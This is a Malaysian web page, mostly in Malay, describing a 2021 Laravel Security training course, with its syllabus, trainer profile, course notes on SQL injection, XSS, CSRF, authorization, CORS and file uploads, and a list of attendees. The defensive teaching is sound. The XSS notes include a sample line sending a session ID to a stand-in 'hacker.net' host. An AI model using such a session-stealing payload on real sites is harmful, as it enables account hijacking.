Completed

Laravel Security

Jabatan Perkhidmatan Komputer Negeri Sabah

Date
21 โ€“ 25 Jun 2021
Organised by
Favourite Trainer Sdn Bhd
Trainer
Azman Zakaria
Attendees
14

Tag : Laravel Security
Tarikh Kursus : 21 - 25 Jun 2021
Lokasi : Online (Aplikasi Zoom)
Pengenalan :

Kursus ini berkonsepkan "From Zero to Hero". Peserta dianggap pemula kepada bidang security dalam programming. Peserta seharusnya telah mempunyai asas SQL, PHP dan Laravel yang baik untuk mendapat hasil sepenuhnya dari kursus ini. Kursus ini khusus kepada keselamatan dari segi pengaturcaraan Laravel.

Tools yang akan digunakan didalam kelas ini adalah seperti berikut :-

  • Laravel Framework 8
  • Laragon Full versi 4.0
  • PHP 7.4.*
  • MySQL 5.7
  • jQuery 3
  • Twitter Bootstrap 5
  • Visual Studio Code
  • SQL Yog
  • Composer
  • Cmder

Dicadangkan PC yang akan digunakan ialah menggunakan Window 10 dengan RAM 8 Gb, dan kapasiti Storage yang Free sebanyak min 2 Gb

Syllabus

Bil Tajuk Modul Status
1. Introduction
- why IT security / web security
DONE
2 SQL Injection
- DB::raw()
DONE
3. Cross Site Scripting (XSS)
- {{ }} vs {!! !!}
DONE
4. Cross Site Request Forgery (CSRF)
- @csrf
DONE
5. Cookies Protection
- APP_KEY
DONE
6. Session management DONE
7. Authorization
- Gate and Policy
- Spatie
DONE
8. Authentication
- Default Auth
- manual Auth
- Throttle
- Two factor authentication
DONE
9. Validation
- size, upload, ..
DONE
10. Encryption
- openssl_encryption
DONE
11. API and CORS
- Laravel Sanctum
DONE
12. Input Cleaning / Filtering
- request()->all()
- Request (i.e BookingRequest), for validation and authorization
- create(request()->all())
DONE
13. Password Hashing
- Hash::make()
- Hash::check()
DONE
14. HTTPS
- Apache setting
DONE
15. CAPTCHA DONE
16. Logging / Audit Trail DONE

 

Training Materials

Bahan Rujukan :


 

Trainer Profile

 Nama : Azman bin Zakaria
 Umur : 52 tahun
 Pengalaman Dalam Bidang IT : 21 Tahun
 Syarikat : Favourite Trainer Sdn Bhd
 Kelulusan :

  • Bachelor IT UiTM
  • Diploma Computer Science UiTM
  • HRDF Certified Instructor

Azman merupakan senior programmer yang passionate dalam bidang pengaturcaraan komputer dari awal mulai beliau bekerja pada tahun 2000 sehingga hari ini. Beliau mempunyai pengalaman bekerja yang luas di agensi kerajaan, swasta dan sebagai freelancer.
Antara pengaturcaraan yang selalu digunakan adalah seperti :

  • PHP (sejak tahun 2000)
  • PHP dan Laravel Framework
  • PHP dan Yii Framework
  • Coldfusion
  • Java 
  • Java dan Spring Boot Framework
  • Javascript
  • jQuery
  • Vuejs
  • Angular
  • Flutter

 

Notes

Source Code at Git Lab: 
- https://gitlab.com/azman1204/lara-secure-jkns
- https://gitlab.com/azman1204/laraclient

create table bookings (
id INT NOT NULL primary key auto_increment,
book_dt DATE,
descr VARCHAR(255),
is_approved VARCHAR(1),
created_at DATETIME,
updated_at datetime
);

create table posts (
id int not null primary key auto_increment,
content text,
created_by int,
created_at datetime,
updated_at datetime
);

ALTER TABLE users ADD COLUMN dept VARCHAR(15) AFTER NAME;

ALTER TABLE users ADD COLUMN role VARCHAR(15) AFTER NAME;

Create New Project

- php 7.4
- create Laravel 8 project

> composer self-update
- see https://laravel.com/docs/8.x/installation

> composer global require laravel/installer
- install laravel installer

> laravel --version
 Laravel Installer 4.2.7

> laravel new larasecure
- larasecure = nama project
- create Laravel 8, sebab latest laravel installer

buka browser, type larasecure.test

VSC - Visual Studio Code

Laravel Debugger
- github, barryvdh
- search: laravel debugger barryvdh
 
> composer require barryvdh/laravel-debugbar --dev

create database
- name : larasecure

create table
- migration
> php artisan migrate
 - create table: users, ..
- bookings

create model
> php artisan make:model Booking

insert data / sql injection
- php artisan tinker

use \App\Models\Booking;
Booking::create(['book_dt' => '2021-06-21', 'descr' => 'Booking kereta xxx']);

- mass assignment
- protected $fillable = [column dlm table yg dibenarkan utk insert];

 

Create Controller

> php artisan make:controller BookingController

create()
- data boleh di manipulsi jika tidak berhati-hati
- apa solution ?

 1. data yg. tak boleh di insert oleh pemohon, jangan masuk dlm $fillable
   - admin kena guna teknik $booking->is_approved = $request->get('status');

 2. request->only() ATAU request->except();
  - baca data tertentu shj

 3. validation
   - Validator::make($input, $rules, $msg)
   - request()->validate($rules)
   - request class
     - auto validate
     > php artisan make:request BookingRequest

SQL Injection

- Laravel dah solve kan masalah ini dlm semua query, kecuali "Raw query"
DB :
 1. Eloquent / model
 2. Query Builder
   - DB::raw()

Cross-Site Scripting (XSS)

- insert java script dalam data sistem
- web deface (defacing)
- identity stolen
 - log masuk masuk sistem sbg org tertentu

inject ke dlm field "keterangan"

- Laravel auto handle XSS semasa paparan
 {{ $var }} - selamat dari XSS

- {!! $var !!} - berbahaya / perlu berhati-hati
- <?= $var ?> OR <?php echo $var ?> , juga berbahaya

- Teknik unutk filtering data / remove script tag
  preg_replace('pattern', '', $input);
  htmlentities($var)

- inject pada form yg panjang field, i.e alamat
- var(100), text

Cross-Site Request Forgery (CSRF)

php -S localhost:8080
 - run larahacker

Laravel autohandle CSRF
@csrf
 - ..input name="_token" type="hidden" value="qtP6XoQO1xJOTiaeknZHugyW3HYNP4cRPKY1cYzI" ..
 - ..input name="_token" type="hidden" value="HPtatwTzbItJM4gnJ2DVj2V9yvGA1WfD5dLpdfl3" ..

- csrf_token(), guna semasa submission guna Javasript / AJAX

X(cross) SS
 - insert javascript
 - curi data(session), cross, hantar balik ke server hacker
 - location.href('hacker.net?sess=xxxxxx');

C(cross) SRF

session management dalam security penting untuk mengelakkan dari akaun di "hijack". Dengan menghapuskan session dengan sempurna, jika berlaku kes kecurian Cookie yang menyimpan session ID, hackers tetap tidak dapat log masuk ke sistem.


- simpan dalam Redis / memcache / text file
- session bahaya jika user logout, tetapi session tak clear / kill
- kemungkin certain masih boleh dilawati walau telah logout

session(['key' => 'val', ....])
session()->put('key', 'value')
session()->get('key')
session()->forget(['key',...])
 - delete session
session()->flush()
 - delete all session

Auth::logout();

- logout() tidak flush session
- session juga boleh disimpan dalam table database
- load balancing

Cookies Protection

- buat sistem baru, generate key baru

- Cookie encryption
 - elak hacker nampak data dalam cookie

- cookie di encrypt menggunakan key dalam .env APP_KEY

> php artisan key:generate
  base64:BzekdxQQEps8tqgu+FgLB4k7J8aQ1OL5ayuBY889gDc=
  base64:WTfZMSDJheRR7eK0PVbAdLmnRHEdKd3xDjTsevZYnVw=

Gate and Policies (Authorization)

- see Laravel Documentation (https://laravel.com/docs/8.x/authorization)

- Gate - simple authorization
- Policies - for complex authorization

- see App\Providers\AuthServiceProvider
- 

https://laravel.com/docs/8.x/starter-kits#laravel-breeze
https://laravel.com/docs/8.x/authentication

https://spatie.be/docs/laravel-permission/v4/introduction

> composer require spatie/laravel-permission

- add config/app.php
 SpatieServiceProvider

> php artisan vendor:publish --provider="Spatie\Permission\PermissionServiceProvider"

> php artisan migrate

table:
1. model_has_permissions
2. model_has_roles
3. roles
4. role_has_permissions

Term:
1. Role
2. Permission

1 role boleh ada banyak permission
- i.e role=admin, permission=create user, update user, ...

> php artisan make:controller PermissionController

 

Middleware
 - sample of middleware : can, auth, throttle (DDOS, Brute Force), CORS, Proxy,...
 - location : App\Http\Middleware
 - register middleware at : App\Http\Kernel.php (register middleware)

Category of Middleware (see in Kernel.php)

1. middleware
 - auto run every request

2. middlewareGroup
 - web
 - api

3. routeMiddleware
 - custom


create a new middleware, log every request
- LogRequest

Throttle Middleware

- sub topic : Rate Limiting

https://laravel.com/docs/8.x/routing

- 3 cubaan login, kalau x berjaya, cuba lg selepas 1 min

- Elak DDOS, Brute Force

Route::post('/auth', [UserController::class, 'auth'])->middleware('throttle:3,1');

Passport merupakan package Api yang menggunakan oAuth2 standard dan boleh dibandingkan dengan package Sanctum. Ianya sesuai untuk capaian kepada Api dan SPA.


- sanctum adalah subset kpd passport
- sanctum lebih mudah utk digunakan
- Auth = Authorization
- API / SPA
- oAuth2 vs Sanctum
- bila nak pakai oAuth
- bila kita share API dengan apliksi yg lain menggunakan standard teknik
- user bagi permission
- i.e google drive (host API)
- printing.com
- daftar jadi kepada drive.google.com
- user bg permission

 Installation steps
 1. >composer require laravel/passport

 2. >php artisan migrate

 3. >php artisan passport:install

 4. modify user model, add use Laravel\Passport\HasApiTokens;

 5. modify AuthServiceProvider
   - add passport route

 6. modify config/auth.php
   - driver: passport (asal token)

 7. request token
  http://larasecure.test/oauth/token
  body : 
  grant_type: password, 
  client_id :see oauth_clients.id,
  client_secret : see oauth_clients.secret, 
  username: users.email, 
  password: users.password, 
  scope: null

 8. http://larasecure.test/api/user
  - Auth: brearer ...
  - return logged in user
  - php artisan route:list

CORS - Cross-Origin Resource Sharing

- It's about kebenaran capaian menggunakan Java Script / AJAX kepada resource di server / domain yang lain
- default permission: pada domain yg sama

contoh:
printing.com
  - jenis kertas
  - share (API - data / web - data, ui)
  - json / XML / AJAX
  - kebenaran : * / domain / sub-domain

souvenier.com
- laraclient.test
- ingin mencapai jenis-jenis kertas pada printing.com menggunakan AJAX / API

 instllation step:
 1. composer require fruitcake/laravel-cors

 2. kernel.php
     $middleware = [\Fruitcake\Cors\HandleCors::class]

 3. config\cors.php
   - path : [ "articles/list/all", ....]
   - origins : ["laraclient.test"]
   - > php artisan optimize
     - clear cache
 

Bab ini membincangkan bahaya file upload dan cara-cara mengatasinya:

 Teknik Validation
 - images (png, jpg, gif, ...)
 - dimana di upload
  - storage/app/public => /public/storage/...
  - > php artisan storage:link
    - sym link / mirror 
 - beware : file ini boleh di call back melalui browser
  http://larasecure.test/storage/images/hacked.php

Penyelesaian: 
- letak dalam folder lain diluar www folder / server
- letak folder storage/app/subfolder
- script laravel utk download (script utk manage fail)

SoftDelete penting jika berlaku kejadian data dimanipulasi dan dihapuskan. Dengan softdelete, data boleh di restore semula.

soft delete
- implement pada semua model
- use softdeletes
- restore
- forcedelete()
- Query guna Eloquent vs Query Query Builder
- whereNotNull('deleted_at')
- withTrashed()

Contoh Code :

namespace App\Models;

use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\SoftDeletes;

class Post extends Model
{
    use HasFactory, SoftDeletes;
}


 

CAPTCHA digunakan bagi mengelakan form di submit oleh robot.

- cadangan : Google reCaptcha v3
- tidak memerlukan pengguna klik pada gambar etc. seperti v2
 

Biasanya digunakan dalam Controller bagi merekodkan aktiviti pemprosesan yang berlaku.

Lokasi log file : storage/logs/laravel.log 

Pelengkap kepada LogRequest yang merekodkan setiap aktiviti request / response yang berlaku. Jika berlaku status 500 = Server Error, boleh semak file log ini bagi perincian error

Logging File Level :
 - info,
- warning,
- error,
- Critical
- Notice
- ..

Borang Penilaian Keberkesanan Latihan

Training evaluation ยท Laravel Security

Log in with the account you registered for this training to fill in the survey.

Log in to fill in the survey

Attendance

Registration closed
This training ended on 25 Jun 2021, so new attendance can no longer be registered.

Students (14)

# Name
1. ELVIN MALIH
2. OLIVER JEWINLY
3. NOOR SHAZWANI BINTI AB TAIB
4. Mohd Nazrin Syahiran
5. Hanidah Abin
6. MOHD AZUAN BIN RIDWAN
7. DK.NURSAFINAH AK.MOHD SAID
8. Syaidahtul
9. Rahima Binti Ruddin
10. NURHAFIZA BINTI YAZULLA
11. JETLI CHUNG LI KUOT
12. Mohamad Hilmi Bin Jamleh
13. Ain Nadhilah Binti Paduka
14. HIERWAN @ MOHD IKRAM MURSHID